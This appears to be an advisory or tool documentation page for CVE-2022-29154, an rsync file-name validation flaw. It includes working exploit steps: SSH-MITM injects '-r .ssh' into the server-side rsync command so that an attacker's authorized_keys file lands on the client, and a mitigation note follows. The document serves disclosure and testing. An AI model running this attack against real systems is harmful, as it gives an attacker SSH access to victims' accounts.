CVSS 7.4 CVE-2022-29154

CVSS 7.4 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H

An issue was discovered in rsync before 3.2.5 that allows malicious remote servers to write arbitrary files inside the directories of connecting peers. The server chooses which files/directories are sent to the client. However, the rsync client performs insufficient validation of file names. A malicious rsync server (or Man-in-The-Middle attacker) can overwrite arbitrary files in the rsync client target directory and subdirectories (for example, overwrite the .ssh/authorized_keys file).

Description

rsync < 3.2.5 does not sufficiently check whether the received files match the requested files. This can be exploited by a MitM attacker or a malicious server to slip false or additional files to the client.

There are several ways in which this vulnerability can be exploited. In the simplest case, however, it is sufficient to modify the rsync command so that additional files are returned.

The easiest way to describe this vulnerability is to synchronize 1 file. As an example, the file “test.txt” in the user’s home directory is synchronized.

Note

SSH-MITM uses port 10022 by default, which is why the SSH command must be modified when using rsync.

Also it is recommended to pass through the SSH agent so that there are no problems when using Publickey authentication.

$ rsync -e 'ssh -p 10022 -A' 'user@127.0.0.1:test.txt' .

As soon as rsync has connected to SSH-MITM, the command sent by rsync to the server is displayed:

$ rsync --server --sender -e.LsfxCIvu . test.txt

On the server the command rsync is then executed with the internal parameters –server and –sender.

Note

The arguments to the -e parameter specify the functions that the client supports. In this case no subdirectories are synchronized. To synchronize also subdirectories the parameter -r` must be specified additionally at the server. This is normally passed from the client to the server. When synchronizing a single file, this parameter is normally not specified. Thus directories would be ignored by the server.

The command can be modified by a MitM attack or a malicious server. To do this, a call to the server-side rsync command only requires the parameters to be modified accordingly. The following command would synchronize the file “test.txt” as well as the directory “.ssh”. By synchronizing the “.ssh” directory, it is possible to foist a manipulated “.ssh/authorized_keys” file on the client.

$ rsync --server --sender -e.LsfxCIvu . test.txt -r .ssh

Exploit

On the destination server create a file called “test.txt” and a subfolder containing an authorized_keys file.

$ echo "testfile" > test.txt
$ mkdir .ssh
$ echo "PUBLIC_SSH_KEY" > .ssh/authorized_keys

Run the server and specify additional files to be requested. In this case the folder “.ssh” and the command line argument “-r” will be added to the remote rsync command.

$ ssh-mitm server --scp-interface CVE-2022-29154 --rsync-inject-file '-r .ssh'

Connect the client to the man in the middle server.

$ rsync -e 'ssh -p 10022 -A' 'user@SERVER:test.txt' .

If your rsync version is vulnerable you will reveive the file “test.txt” from the server and a folder “.ssh” containing an authorized_keys file.

$ tree -a
.
├── .ssh
│   └── authorized_keys
└── test.txt

1 directory, 2 files

Mitigation

When dealing with an untrusted sending host, it is safest to copy into a dedicated destination directory for the remote content (i.e. don’t copy into a destination directory that contains files that aren’t from the remote host unless you trust the remote host).

References: